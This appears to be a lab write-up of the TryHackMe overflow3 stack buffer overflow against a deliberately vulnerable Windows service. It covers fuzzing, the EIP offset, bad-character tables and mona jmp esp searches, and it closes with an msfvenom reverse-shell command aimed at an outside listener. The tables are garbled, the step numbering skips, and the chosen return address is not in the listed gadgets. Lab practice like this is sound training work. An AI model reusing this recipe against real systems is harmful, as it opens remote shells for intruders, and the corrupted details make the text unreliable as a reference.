

overflow3

1. Determine min buffer size:

```
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing crashed at 1300 bytes
[Finished in 30.1s]
```

2. Determine EIP

- Use msf-pattern

```

Registers (FPU)
EAX 0192F528
ECX 00785744
EDX 00000000
EBX 42327142
ESP 0192FA30
EBP 71423371
ESI 00000000
EDI 00000000
EIP 35714234

```

- EIP: 35714234

3. Determine offset:

- Via msf-pattern_offset

```

(root@kali) - [~/tryhackme/bufferOverflowPrep/overflow3]
# msf-pattern_offset -l 2500 -q 35714234
[*] Exact match at offset 1274

```

4. Test if accurate

```

Registers (FPU)
EAX 018AF528 ASCII
ECX 003F5744
EDX 00000000
EBX 41414141
ESP 018AFA30 ASCII
EBP 41414141
ESI 00000000
EDI 00000000
EIP 42424242

```

- EIP: BBBB

5. Determine bad characters

- Generate bad characters

| | | | | | | | | |
|----|----|----|----|----|----|----|----|-----------------|
| 43 | 43 | 43 | 43 | 43 | 43 | 43 | 01 | CCCCCCC0 |
| 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 00000000 |
| 0A | 0B | 0C | 0D | 0E | 0F | 10 | 0A | .8.8*8. |
| 0D | 13 | 14 | 15 | 16 | 17 | 18 | 19 | .!!78_+↑+ |
| 1A | 1B | 1C | 1D | 1E | 1F | 20 | 21 | +4_L#A7 + |
| 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | "#5%&'() |
| 2A | 2B | 2C | 2D | 2E | 2F | 30 | 31 | *+,-./01 |
| 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 23456789 |
| 3A | 3B | 3C | 3D | 3E | 3F | 0A | 0D | :;<=>?.. |
| 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | BCDEFGHI |
| 4A | 4B | 4C | 4D | 4E | 4F | 50 | 51 | JKLMNOPQ |
| 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | RSTUUVWXY |
| 5A | 5B | 5C | 5D | 5E | 0A | 0D | 61 | Z[\]^_`a |
| 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | b c d e f g h i |
| 6A | 6B | 6C | 6D | 6E | 6F | 70 | 71 | j k l m n o p q |
| 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | r s t u v w x y |
| 7A | 7B | 7C | 7D | 7E | 7F | 80 | 81 | z{ } ^ _ ` a |
| 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | eäåãäöçë |
| 8A | 8B | 8C | 8D | 8E | 8F | 90 | 91 | ëïîíîÄÅÆ |
| 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | HööüüÜÜÜ |
| 9A | 9B | 9C | 9D | 9E | 9F | A0 | A1 | üç€¥Rfäi |
| A2 | A3 | A4 | A5 | A6 | A7 | A8 | A9 | ôûññ222r |
| 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | -kkk i...% |

- Terminated at \x11

6. Remove \x11

| | | | | | | | | |
|----|----|----|----|----|----|----|----|----------|
| 43 | 43 | 43 | 43 | 01 | 02 | 03 | 04 | CCCC0000 |
| 05 | 06 | 07 | 08 | 09 | 0A | 0B | 0C | 00000000 |
| 0D | 0E | 0F | 10 | 12 | 13 | 14 | 15 | 00000000 |
| 16 | 17 | 18 | 19 | 1A | 1B | 1C | 1D | 00000000 |
| 1E | 1F | 20 | 21 | 22 | 23 | 24 | 25 | 00000000 |
| 26 | 27 | 28 | 29 | 2A | 2B | 2C | 2D | 00000000 |
| 2E | 2F | 30 | 31 | 32 | 33 | 34 | 35 | 00000000 |
| 36 | 37 | 38 | 39 | 3A | 3B | 3C | 3D | 00000000 |
| 3E | 3F | 41 | 42 | 43 | 44 | 45 | 46 | 00000000 |
| 47 | 48 | 49 | 4A | 4B | 4C | 4D | 4E | 00000000 |
| 4F | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 00000000 |
| 57 | 58 | 59 | 5A | 5B | 5C | 5D | 5E | 00000000 |
| 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 00000000 |
| 68 | 69 | 6A | 6B | 6C | 6D | 6E | 6F | 00000000 |
| 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 00000000 |
| 78 | 79 | 7A | 7B | 7C | 7D | 7E | 7F | 00000000 |
| 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 00000000 |
| 88 | 89 | 8A | 8B | 8C | 8D | 8E | 8F | 00000000 |
| 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 00000000 |
| 98 | 99 | 9A | 9B | 9C | 9D | 9E | 9F | 00000000 |
| A0 | A1 | A2 | A3 | A4 | A5 | A6 | A7 | 00000000 |
| A8 | A9 | AA | AB | AC | AD | AE | AF | 00000000 |
| B0 | B1 | B2 | B3 | B4 | B5 | B6 | B7 | 00000000 |
| B8 | BA | BB | BC | BD | BE | BF | C0 | 00000000 |
| C1 | C2 | C3 | C4 | C5 | C6 | C7 | C8 | 00000000 |
| C9 | CA | CB | CC | CD | CE | CF | D0 | 00000000 |
| D1 | D2 | D3 | D4 | D5 | D6 | D7 | D8 | 00000000 |
| D9 | DA | DB | DC | DD | DE | DF | E0 | 00000000 |
| E1 | E2 | E3 | E4 | E5 | E6 | E7 | E8 | 00000000 |
| E9 | EA | EB | EC | ED | EE | EF | F0 | 00000000 |
| F2 | F3 | F4 | F5 | F6 | F7 | F8 | F9 | 00000000 |
| FA | FB | FC | FD | FE | FF | 00 | 00 | 00000000 |

- Bad chars:

```
\x00\x11\x40\x5f\xb8\xee
```

11. Find JMP

- Via mona

```
!mona jmp -r esp
```


Output generated by mona.py v2.0, rev 605 - Immunity Debugger
 Corélan Team - https://www.corélan.be

OS : 7, release 6.1.7601
 Process being debugged : oscp (pid 908)
 Current mona arguments: jmp -r esp

2021-12-01 03:58:42

| Module info | | | | | | | | | |
|-------------|------------|---|---|---|-------|----------|---------------------------------|---------|---|
| Base | Top | Size | Rebase | SafeSEH | ASLR | nxcompat | os dll | version | Module name & path |
| 0x752a0000 | 0x752a0000 | 0x0000a000 | True | True | True | True | 6.1.7600.16385 [Lpk.dll] | | (C:\Windows\system32\Lpk.dll) |
| 0x75580000 | 0x75580000 | 0x00006000 | True | True | True | True | 6.1.7600.16385 [Nt.dll] | | (C:\Windows\system32\Nt.dll) |
| 0x62500000 | 0x62500000 | 0x00008000 | False | False | False | False | -1.0- [essfunc.dll] | | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) |
| 0x757f0000 | 0x757f0000 | 0x0000c000 | True | True | True | True | 6.1.7600.16385 [Ncstr.dll] | | (C:\Windows\system32\Ncstr.dll) |
| 0x75290000 | 0x75290000 | 0x00008000 | True | True | True | True | 6.1.7600.16385 [KernelBase.dll] | | (C:\Windows\system32\KernelBase.dll) |
| 0x74a20000 | 0x74a20000 | 0x00003000 | True | True | True | True | 6.1.7600.16385 [msoctk.dll] | | (C:\Windows\system32\msoctk.dll) |
| 0x76950000 | 0x76950000 | 0x00008000 | True | True | True | True | 1.0.0.0-7601.17514 [GDI32.dll] | | (C:\Windows\system32\GDI32.dll) |
| 0x75500000 | 0x75500000 | 0x00004000 | True | True | True | True | 6.1.7601.17514 [GDI32.dll] | | (C:\Windows\system32\GDI32.dll) |
| 0x75420000 | 0x75420000 | 0x00004000 | True | True | True | True | 6.1.7600.16385 [Kernel32.dll] | | (C:\Windows\system32\Kernel32.dll) |
| 0x753a0000 | 0x753a0000 | 0x0000a000 | True | True | True | True | 7.0.7600.16385 [nvctrl.dll] | | (C:\Windows\system32\nvctrl.dll) |
| 0x76e80000 | 0x76e80000 | 0x00013000 | True | True | True | True | 6.1.7600.16385 [ncdll.dll] | | (C:\Windows\system32\ncdll.dll) |
| 0x76e80000 | 0x76e81000 | 0x0000a100 | True | True | True | True | 6.1.7600.16385 [rpcrt4.dll] | | (C:\Windows\system32\RPCRT4.dll) |
| 0x75550000 | 0x75550000 | 0x00015000 | True | True | True | True | 6.1.7600.16385 [rpcrt4.dll] | | (C:\Windows\system32\RPCRT4.dll) |
| 0x00400000 | 0x00401400 | 0x00001400 | False | False | False | False | -1.0- [oscp.exe] | | (C:\Users\admin\Desktop\vulnerable-apps\oscp\oscp.exe) |
| 0x76800000 | 0x76800000 | 0x00009000 | True | True | True | True | 6.1.7601.17514 [user32.dll] | | (C:\Windows\system32\user32.dll) |
| 0x76510000 | 0x7652f000 | 0x0000f000 | True | True | True | True | 6.1.7601.17514 [DM32.DLL] | | (C:\Windows\system32\DM32.DLL) |
| 0x625011af | jmp esp | [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |
| 0x62501130 | jmp esp | [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |
| 0x62501131 | jmp esp | [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |
| 0x62501132 | jmp esp | [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |
| 0x62501133 | jmp esp | [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |
| 0x62501134 | jmp esp | [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |
| 0x62501135 | jmp esp | [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |
| 0x62501136 | jmp esp | [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |
| 0x62501137 | jmp esp | [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |
| 0x62501138 | jmp esp | [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |
| 0x62501205 | jmp esp | asc11 [PAGE_EXECUTE_READ] [essfunc.dll] | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- | (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll) | | | | | |

- Address: **0x62501203**
- Convert to little Endian: **\x03\x12\x50\x62**

12. Test it, add breakpoint

bp 0x62501203



13. Generate shellcode

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.11.49.241
 LPORT=4444 EXITFUNC=thread -b '\x00\x11\x40\x5f\xb8\xee' -f python

14. Shell obtained



